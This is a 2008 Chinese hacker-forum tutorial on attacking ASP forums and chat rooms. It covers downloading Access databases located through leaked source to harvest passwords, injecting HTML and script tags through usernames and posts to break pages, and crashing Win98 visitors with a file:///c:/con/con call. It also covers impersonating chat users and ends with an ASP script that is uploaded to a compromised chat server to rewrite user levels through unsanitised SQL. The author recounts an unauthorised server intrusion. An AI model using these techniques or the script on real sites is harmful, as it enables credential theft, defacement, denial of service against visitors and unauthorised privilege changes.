找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 927|回复: 0

脚本程序攻击

[复制链接]

3

主题

41

回帖

64

牛毛

初生牛犊

积分
64
QQ
发表于 2008-9-30 13:59:50 | 显示全部楼层 |阅读模式 来自 湖南省湘潭市
这一节我们来稍微了解一下服务器端的脚本程序攻击.由于对服务器端脚本程序我只会一点asp,我的重点也放在这.asp也是我努力的一方向,真想自己写一个论坛,可一直没有太多时间,(不是没时间写,而是没时间学呀,哈哈).
要做好一个主页,单靠html和js是不够的,来点酷的就要接触一些服务端程序,像asp和cgi.php.jsp等。如何快速入门?你要从头编写程序吗?其实网上免费脚本很多啊,我们要拿来用即可!但是阻碍菜鸟的就是如何调试这些程序。看完这篇文章,我估计你已经可以在支持cgi和asp空间上安装程序了,有了自己的论坛和江湖。想研究入侵江湖和聊天室的数据库,想从源码漏洞下手,这更是第一步。在win98和windows2000下安装单机调试asp和cgi的iss环境,其实是很简单的。至于让win2000支持apache和php,请看我的另一部电子书.下载
1. 安装 Perl 解释器?
  Perl 是一种解释执行的语言,所以,要单机运行调试 Perl CGI ,必须先安装 Perl 解释器。
  首先下载 Active Perl 5.6.1(华军软件园有,大约8mb),一般文件名是 APi5XXe.exe,其中 XX 是版本号。然后运行此程序,默认是安装在 C:\\PERL 下,不过为了方便,请最好安装到 C:\\USR 目录下,这样写 Perl 解释器的路径就可以直接用 #!/usr/bin/perl 了,可以保持单机环境和网络环境路径一致。

2. 安装 WEB 服务器?
  有些网友认为安装了 Perl 解释器后就可通过双击文件运行,这是错误的,因为 Perl 是脚本文件,它只能在浏览器内调用,所以必须安装 WEB 服务器软件。现在 WINDOWS 95/98 下最常用的 WEB 服务器我想是Personal Web Server(PWS)。这个软件在win98光盘里有。点win98光盘目录add-one进入setup即可完成pws安装。其实只要安装pws,asp即可以支持。你点文件夹属性web共享(安装完pws即有这项。windows2000下是安装光盘上的iis5.0)设一个别名或什么也不用改动,然后在ie中运行http://127.0.0.1/web共享文件夹/*.asp,就可以看到你的劳动成果asp程序运行了。要支持cgi,还要做一些手脚,按照下面二步来修改注册表(win98.2000完全一样):
    ① 运行 RegEdit,搜寻: HKEY_LOCAL_MACHINE\\System\\Currentcontrlset\\Services\\W3svc\\
Parameters\\ScriptMap\\ 键名
    ② 然后增加键名:.cgi,键值:C:\\USR\\BIN\\perl.exe %s %s 和键名:.pl,键值:C:\\USR\\BIN\\perl.exe %s %s

注册表改完后,你去控制面板点管理工具里的Internet 信息服务,点默认的WEB站点,按右键,点属性.
找到主目录菜单,点应用程序设置右边的 配置 找到主目录菜单,点应用程序设置右边的 配置
点添加-出现 添加/编辑应用程序扩展名映射的对话框。
在可执行文件里写上C:\\usr\\bin\\perl.exe %s %s

扩展名写上 .cgi 不要忘记有个点的。下面还要勾上--脚本引擎

同理,加上C:\\usr\\bin\\perl.exe %s %s
扩展名是 .pl

确定后,接着点菜单的ISAPI 筛选器,点添加,
在筛选器名称 里写 cgi
可执行文件里写 c:\\usr\\bin\\perlis.dll


在本机上调试cgi,要将cgi文件copy到web共享目录下。然后在ie中运行http://127.0.0.1/web共享文件夹/*.cgi,程序运行了吧?哈哈。127.0.0.1可以改为你的机器名。
  
3、关于文件上传。asp你只要传到支持asp的空间上就可以运行了。cgi就令人讨厌了,有的空间商要求你将文件属性设为777,755等,如何改呢?我查了不少资料才明白的。我也是个菜鸟。论坛上有人回复说chmod+777+filename即可改,可是在windows下行不通。原来是在ftp软件里改。我推荐你用flashfxp。在上传的文件点鼠标右键-chmod你就可以改了。原来我用cutepage网页工具里自带的ftp,里边没有这项,他妈妈的,害我上网逛了好几天,网费......

说半天没说到如何入侵。我这里只谈asp.asp入侵最简单的方法其实就是希望看到源代码,找到数据库的位置。这里给菜鸟解说一下,你通过查看网页源代码看到的是asp程序在服务器端过滤asp码后送到客户端的html码.一般情况下asp每个文件顶头都有一行像<!--#include file=\"dbfunc.asp\"-->这样子。其中dbfunc.asp这个文件就是数据库连接文件,当然它不一定是dbfunc,也可能是其它名字。然后再查找dbfunc.asp,找到\"Connstr=\"DRIVER={Microsoft Access Driver (*.mdb)};DBQ=\"+server.mappath(\"gg.mdb\")+\"这样的语句,你就清楚原来数据库的名字是gg.mdb,即可通过http://*.*.*/*/gg.mdb这样方式下载!用acess2000打开就会看到用户名和密码.但如何查看源码,这就要利用到asp程序的一些漏洞了.这里我做了一个小网页,可以简单查看asp源码泄露漏洞.源码查看器,你也可以用一些扫描软件扫到.但是现在像这样的漏洞几乎是没有了,即使你能看到源码,程序编写着也不会让数据库是*.mdb格式了,都被人黑怕了呀.即使能下到mdb,恐怕数据库的密码也是采用了md5加密,至于怎样才能找到脚本程序的漏洞呢?这就要求我们努力学习编程了.这样说太抽像了,还是举两个例子

第一个是我对论坛的一点小研究
首先是对论坛首页的破坏。我在本机(win2000+isss5.0)上对动网论坛3.0和极限论坛5.0做过测试并成功。(这两个版本我很早就下了,其它版本和其它asp论坛我想有的程序也应该存在同样问题)。这个破坏方法的原理在我以前写过一篇文章<<弹出式域名的深入研究>>中详细讲过,具体内容你可看这里:http://www.521hacker.com/article/show.php?id=1670 。说得是怎样利用html的<title>标签去掉网易域名广告。现在我们在论坛上利用<title>为用户名注册,注册后你会发现整个论坛首页无法显示。使首页无法显示的同样的破坏标签还有<style>和<script>,用<head>注册则自己的用户名无法正常显示。其它的html标签我没试验过。如果部份论坛注册后可以正常显示首页,你再用这个用户名发一个贴子再回复一个贴子,贴子的内容仍然是这几个破坏性标签,则论坛就无法正常显示了。再一个是对论坛贴子的破坏。许多asp论坛没有禁止贴图标签。你可以在中书写任意js代码。像写一个,则一打开本贴就可以弹出 一个对话框。如果你在其中写self.open(file:///c:/con/con)呢?那么谁打开该贴没打补丁的win98就死机。由于本方法极具破坏作用,且方法简单实用性强,请只可在本机上试验,不要对国内论坛进行破坏。



第二个就是聊天室了

我研究的是传说水吧,最流行的聊天室。它对注册用户名要求得很严格,我们只好另寻破坏方法。经我测试3.0以下版本在呼叫中存在<html>语句漏洞,你可以在呼叫中直接发送html语句。除了这个,我再没找到其它漏洞。但是无论哪一个版本它都有一个小bug呀,可以冒充别人对你说话。找到一个mm,想让她对你说我爱你,她不愿意呀。没关系,跟我来。水吧的动作是样表示的://##对%%说,##代表自己,%%代表对方。先点mm名单,然后你在发言区输入//%%对##说我爱你,那么这个妹妹和你的屏幕上就会出现妹妹对你说我爱你的话了。另一个是如果你能下到传说水吧的数据库的话,我这有一个解密数据库用户密码的小脚本http://freehost12.websamba.com/lunta/sb.asp(对3.0以下版本有效)虽然传说水吧作者说它的加密是不可逆的。说了半天, 你好心急了,说我想看入侵办法呀.正好,我有一次还应mm要求入侵过一家传说水吧,通过服务器漏洞,进入了主机.这家传说水吧人气极旺,数据库有40mb,我小猫上网,无法下载,但我们可以上传呀.我就上传了一个小脚本,修改了mm的级别. 从这一点上也能看出,要想研究脚本攻防,你总要稍微学习一点编程技术.为照顾菜鸟,如果你也恰好有一个传说水吧的话,可以用下面这个脚本不进聊天室就可以修改自己的级别,保存成conpag.asp,传到水吧的主目录下就行.
<HTML>
<BODY>
<form NAME=\"Users\" action = \"conpag.asp\" method=\"POST\">
<Input TYPE=\"TEXT\" NAME=\"u\" size =\"15\" value=\"姓名\">
<Input TYPE=\"TEXT\" NAME=\"j\" size =\"5\" value=\"级别\">
<input TYPE=\"SUBMIT\" name=\"submit\" value=\"修改\">
</form>
</BODY>
</HTML>
<%
dim a
a =trim(request.form(\"u\"))
b =trim(request.form(\"j\"))
if request.form(\"submit\") = \"修改\" then
Set Conn = Server.Createobject(\"ADODB.Connection\")
Conn.Open \"DRIVER={Microsoft Access Driver (*.mdb)};DBQ=\"+server.mappath(\"db\\global.asa\")
strsql= \"update user set user_level=&#39;\"&b&\"&#39;where username=&#39;\" & a&\"&#39;\"
Set objRS = Conn.Execute(strSQL)
set objrs=nothing
Conn.Close
Set Conn = Nothing
End if
%>



当然,数据库入侵的办法还有很多,附一篇女黑客佳佳的文章你看看就更清楚了.当然更清楚的就是要努力提高我们的脚本技术

因为cgi本人不懂,所以没有讲解。以后补充。
转载请注明出自狂人影子论坛 http://bbs.krshadow.com/,本贴地址:http://bbs.krshadow.com/thread-12377-1-1.html
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-16 00:19 , Processed in 0.122883 second(s), 28 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表